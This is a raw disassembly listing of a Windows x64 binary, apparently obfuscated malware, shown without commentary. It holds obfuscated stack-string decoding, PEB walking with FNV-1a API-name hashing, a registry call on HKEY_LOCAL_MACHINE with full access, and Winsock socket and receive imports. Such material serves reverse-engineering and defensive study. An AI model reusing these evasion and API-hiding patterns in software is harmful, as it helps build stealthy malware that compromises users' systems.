movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x14011bb93
mov r9, r8
movabs rdx, 0xd75a693f66f0edb6
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x12
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0xb30], al
inc r11
add rax, r11
sub r10, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0xb30], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x14011bb84
movabs rcx, 0xee94763fbe67414e
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
movzx eax, byte [rbp + r10 + 0xb30]
add rax, r11
add r10, rax
inc r10
jmp 0x14011b068
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14011b065
lea rcx, [r10 + r14]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x22
jmp 0x14011b055
lea rdx, [rbp + 0x16000a8]
jmp 0x14011bbf3
lea rdx, [rbp + 0x1026bc2]
jmp 0x14011bbf3
lea rdx, [rbp + 0xb30]
lea rcx, [rbp + 0x3a0]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x16c0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14011bc28
mov rdx, qword [rbx]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x16c0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x16c0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x16c0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x4a0], Ordinal_60
mov byte [rbp + 0x4a1], Ordinal_143
mov byte [rbp + 0x4a2], 0x61
mov byte [rbp + 0x4a3], 0xf3
mov byte [rbp + 0x4a4], 0x5a
mov byte [rbp + 0x4a5], 0xf1
mov byte [rbp + 0x4a6], 0x62
mov byte [rbp + 0x4a7], 0xf7
mov byte [rbp + 0x4a8], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x4a9], 0xf5
mov byte [rbp + 0x4aa], 0x5b
mov byte [rbp + 0x4ab], 0xfb
mov byte [rbp + 0x4ac], WSACleanup
mov byte [rbp + 0x4ad], 0xf9
mov byte [rbp + 0x4ae], 0x5b
mov byte [rbp + 0x4af], 0xff
mov byte [rbp + 0x4b0], 0x40
mov byte [rbp + 0x4b1], 0xfd
mov byte [rbp + 0x4b2], 0x59
mov byte [rbp + 0x4b3], 0xe3
mov byte [rbp + 0x4b4], Ordinal_79
mov byte [rbp + 0x4b5], 0xe1
mov byte [rbp + 0x4b6], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x4b7], 0xe7
mov byte [rbp + 0x4b8], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x4b9], 0xe5
mov byte [rbp + 0x4ba], 0x7f
mov byte [rbp + 0x4bb], 0xeb
mov byte [rbp + 0x4bc], 0x7a
mov byte [rbp + 0x4bd], 0xe9
mov byte [rbp + Ordinal_79e], 0x4b
mov byte [rbp + 0x4bf], 0xef
mov byte [rbp + 0x4c0], 0x7a
mov byte [rbp + 0x4c1], 0xed
mov byte [rbp + 0x4c2], 0x88
mov byte [rbp + 0x4c3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x4c4], 0x84
mov byte [rbp + 0x4c5], Ordinal_211
mov byte [rbp + 0x4c6], Ordinal_217
mov byte [rbp + 0x4c7], Ordinal_217
xor eax, eax
mov qword [rbp + 0x4c8], rax
mov bl, byte [rsp + 0x50]
movabs rsi, 0xa56801fc54f0c73e
movabs r14, 0xa439041f7735f4ba
movabs r12, 0x4171499f14213234
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x30
jae 0x14011c951
movzx r8d, byte [rbp + r9 + 0x4a0]
mov rdx, r8
cmp rdi, r9
ja 0x14011c948
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14011be00
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4e
jmp 0x14011be3a
je 0x14011c8d0
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011c84c
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011c81f
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14011c7d7
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14011c787
cmp r10, r9
ja 0x14011c93f
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14011be6f
movabs rdx, 0x918829b2f7c05816
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011beb0
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14011c764
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011c741
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14011c71b
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14011c6f5
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14011c6d3
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14011c434
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14011c412
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14011c3ec
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14011c3ca
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14011c3a4
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14011c382
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14011c360
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14011c34c
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14011c32a
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14011c304
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14011bebd
lea rdi, [r10 + 5]
lea r10, [rdi + 0x20]
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14011c925
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14011c902
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14011c0bd
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14011c09b
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14011c075
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14011c2a8
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14011c24e
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14011c1ff
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14011c1d5
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14011bebd
lea rdi, [r10 + 0x3e8]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14011c1c1
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14011c19e
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14011c17c
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14011c168
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14011c146
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14011c132
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14011c110
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14011c0f7
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14011c0e3
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14011bebd
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 3]
jmp 0x14011bebd
movabs rdx, 0xcf7914021ebc2eaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011beb0
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x14011be3a
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011bdd2
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
jmp 0x14011c773
lea rcx, [r9 + r12]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14011c7cc
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14011c7cf
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14011c56f
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14011c81a
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14011c704
movabs rcx, 0xcb6135c3c2b969c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14011c86d
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x14011c89d
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14011c59d
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
mov byte [rbp + r9 + 0x4a0], bl
jmp 0x14011c8fa
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 9
jb 0x14011c1f2
movabs rcx, 0xe770ca89d7ef62b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14011c7a4
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
add bl, dl
cmp rdi, 0x1000
jae 0x14011c67a
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x14011c5b4
movabs rcx, 0xfb50a2d3351fd1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14011c220
movabs rcx, 0x1a4917fac89dbd26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14011c6a5
lea rax, [r10 + 0x40]
cmp rdi, rax
jbe 0x14011c50f
movabs rcx, 0x69c879203d5f79c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x14011c26c
movabs rdx, 0x6930fa31ce821084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c8eb
movabs rcx, 0x1e60f63924a08208
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14011c89d
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14011c49e
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14011c83a
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14011c81a
movabs rdx, 0xf320e6567d1a4818
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c7f4
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14011c7cf
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c7cc
movabs rcx, 0x12b0da6c7f759ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14011c7a4
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x14011c45a
lea rdx, [r9 + rsi]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c2c5
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011c486
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14011c8eb
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011c4b0
movabs rdx, 0xb8b05b574343cd24
mov ecx, 2
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14011c6c9
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011c4dc
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14011c83a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011c2c5
movabs rdx, 0x4e5063489706ea1c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011c81a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14011c52c
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x14011c773
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011c557
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x14011c7cc
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011c581
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14011c69b
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14011c26c
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011c8eb
jne 0x14011c5d8
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14011c8eb
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14011c603
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x14011c86d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14011c620
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14011c704
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14011c647
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x14011c69e
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14011c220
movabs rdx, 0x9ca0c6912e0dd438
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14011c7a4
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x4a0]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
jmp 0x14011c7f4
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x4a0]
add bl, dl
add bl, r8b
jmp 0x14011c86d
movabs rcx, 0x9d38457f9ceb3d7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x14011c86d
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c83a
movabs rdx, 0x7983d8e49282082
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c81a
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c7cf
movabs rdx, 0xdc582daba1a1e692
mov ecx, 1
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14011c7a4
movabs rcx, 0x46b825ba4ddec99a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x4a0], cl
inc r10
dec r9
jmp 0x14011c8fa
movabs rcx, 0x664819d0503a1e26
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
movabs rcx, 0xd7a8d07ed6c1b86e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 2
add cl, r8b
add cl, bl
mov byte [rbp + r9 + 0x4a0], cl
add rdi, r10
jmp 0x14011c83a
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14011c8fa
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x4a0], al
inc r10
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x4a0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14011c8eb
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x16
movzx eax, byte [rbp + r9 + 0x4a0]
add rax, r10
add r9, rax
inc r9
jmp 0x14011bdbf
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x14011bdbc
lea rcx, [r9 + r14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
jmp 0x14011bdac
lea r12, [rbp + 0x145e248]
jmp 0x14011c958
lea r12, [rbp + 0x136a986]
jmp 0x14011c958
lea r12, [rbp + 0x4a0]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x14011cac6
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011c9d4
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011c9c6
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011c9b5
cmp r8d, esi
jne 0x14011caa3
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14011caa3
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011caa3
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14011ca28
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011ca1d
cmp edx, r14d
je 0x14011ca3e
test r9d, r9d
jne 0x14011ca08
jmp 0x14011caa3
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x14011cab9
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x14011cab9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011ca80
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14011ca72
jmp 0x14011ca96
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x14011ca89
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14011cab6
cmp qword [rdi + 0x30], 0
jne 0x14011c984
xor r10d, r10d
mov qword [0x1404fc178], r10
mov r15d, 0xf84eee59
and qword [rsp + 0x40], 0
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
xor r12d, r12d
test rdx, rdx
jne 0x14011cc72
mov esi, r12d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011cb7f
mov rdx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x14011cb71
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x14011cb60
cmp r9d, esi
jne 0x14011cc5d
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x14011cc5d
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14011cc5d
mov ebx, dword [r11 + 0x20]
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rdi
mov r8d, 0x811c9dc5
jmp 0x14011cbd6
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
inc r9
test dl, dl
jne 0x14011cbc9
cmp r8d, r14d
je 0x14011cbec
test r10d, r10d
jne 0x14011cbb3
jmp 0x14011cc5d
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x14011cc65
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14011cc65
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011cc2e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14011cc20
jmp 0x14011cc43
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14011cc36
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14011cb2f
mov qword [0x1404fc118], rdx
mov r13d, 0xeced0b92
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14011cddf
mov esi, r12d
mov r14d, r15d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011ccf6
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14011cce8
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14011ccd7
cmp r8d, esi
jne 0x14011cdc3
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x14011cdc3
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14011cdc3
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r10]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x14011cd4a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14011cd3f
cmp edx, r14d
je 0x14011cd60
test r9d, r9d
jne 0x14011cd2a
jmp 0x14011cdc3
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r11
jbe 0x14011cdd8
lea rcx, [r11 + rax]
cmp rbx, rcx
jae 0x14011cdd8
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14011cda2
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14011cd94
jmp 0x14011cdb7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14011cdaa
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14011cdd5
cmp qword [rbx + 0x30], r12
jne 0x14011cca6
mov rbx, r12
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x14011cf55
mov esi, r12d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14011ce6c
